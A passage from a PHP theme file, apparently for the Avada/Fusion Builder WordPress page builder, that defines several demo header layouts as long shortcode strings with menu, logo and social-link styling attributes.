fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="3px" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="3px" trigger_padding_top="25px" trigger_padding_bottom="25px" items_padding_right="25px" items_padding_left="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['header-5'] = [ 'name' => 'Header 5', 'image' => $preview_image, 'position' => 'calc( 400% / 15 )', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#f7f7f7" padding_top="0px" padding_bottom="0px" border_sizes_bottom="1px" border_color="#dddddd" type="flex" padding_right="30px" padding_left="30px" z_index="99"][fusion_builder_row][fusion_builder_column type="1_5" layout="1_5" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="1_5"][fusion_social_links font_size="" icons_boxed="" icons_boxed_radius="" color_type="" icon_colors="#898989" box_colors="" tooltip_placement="bottom" blogger="" deviantart="" discord="" digg="" dribbble="" dropbox="" facebook="#" flickr="" forrst="" instagram="#" linkedin="" mixer="" myspace="" paypal="" pinterest="" reddit="" rss="" skype="" soundcloud="" spotify="" tiktok="" tumblr="" twitch="" twitter="#" vimeo="" vk="" wechat="" whatsapp="" xing="" yahoo="" yelp="" youtube="#" email="" show_custom="no" alignment="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" /][/fusion_builder_column][fusion_builder_column type="4_5" layout="4_5" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="4_5"][fusion_menu menu="header6custom" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="50px" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="14px" text_transform="none" items_padding="" gap="" transition_type="fade" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="#ffffff" active_color="" border="" border_color="#dddddd" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="" submenu_text_transform="none" submenu_items_padding="" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" submenu_sep_color="" submenu_bg="" submenu_color="" submenu_active_bg="" submenu_active_color="" breakpoint="small" custom_breakpoint="800" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="#ffffff" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="24" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="65" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="" mobile_active_color="" mobile_sep_color="" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_typography="" items_padding_top="0" items_padding_bottom="0" border_right="1px" items_padding_right="25px" items_padding_left="25px" active_border_right="1px" fusion_font_variant_mobile_typography="" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="30px" padding_bottom_small="30px" padding_top="40px" border_color="#ededed" border_sizes_bottom="1px" padding_bottom="40px" flex_column_spacing="0px" type="flex" background_color="#ffffff" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_1" layout="1_1" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_1" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" element_content="" margin_bottom_small="0px" first="true" type="1_1"][fusion_imageframe image_id="" max_width="175px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="center" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="flex-start" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" flex_column_spacing="0px" type="flex" background_color="#ffffff" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_1" layout="1_1" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_1" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" padding_top_small="15px" padding_bottom_small="15px" first="true" type="1_1"][fusion_menu menu="long-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="80px" sticky_min_height="" align_items="stretch" justify_content="space-around" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="25px" items_padding_left="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['header-6'] = [ 'name' => 'Header 6', 'image' => $preview_image, 'position' => 'calc( 500% / 15 )', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="0" padding_bottom_small="0" type="flex" background_color="#ffffff" padding_top="0" padding_right="30px" padding_bottom="0" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" element_content="" first="true" spacing_right="" type="1_4"][fusion_imageframe image_id="" max_width="140px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="3_4" layout="3_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" spacing_left="0" first="false" type="3_4"][fusion_menu menu="hamburger-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-end" font_size="25px" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="29" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="no" submenu_mode="flyout" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="24px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="32" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3px" box_shadow_horizontal="0px" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="20px" items_padding_left="20px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['header-7'] = [ 'name' => 'Header 7', 'image' => $preview_image, 'position' => 'calc( 600% / 15 )', 'content' => '[fusion_builder_container hundred_percent="yes" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="20px" padding_bottom_small="20px" padding_top="0px" border_color="#ededed" border_sizes_bottom="1px" padding_bottom="0px" flex_column_spacing="0" padding_right="30px" padding_left="30px" padding_right_small="20px" padding_left_small="20px" z_index="152" type="flex" background_color="#ffffff"][fusion_builder_row][fusion_builder_column type="43" layout="43" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_1" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" element_content="" margin_bottom_small="0px" first="true" spacing_right="" type="43"][fusion_menu menu="left-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="100px" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="#65bc7b" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="25px" items_padding_left="25px" /][/fusion_builder_column][fusion_builder_column type="14" layout="14" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" element_content="" margin_bottom_small="0px" first="false" spacing_right="" type="14"][fusion_imageframe image_id="" max_width="140px" sticky_max_width="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="left" align="center" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="43" layout="43" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" 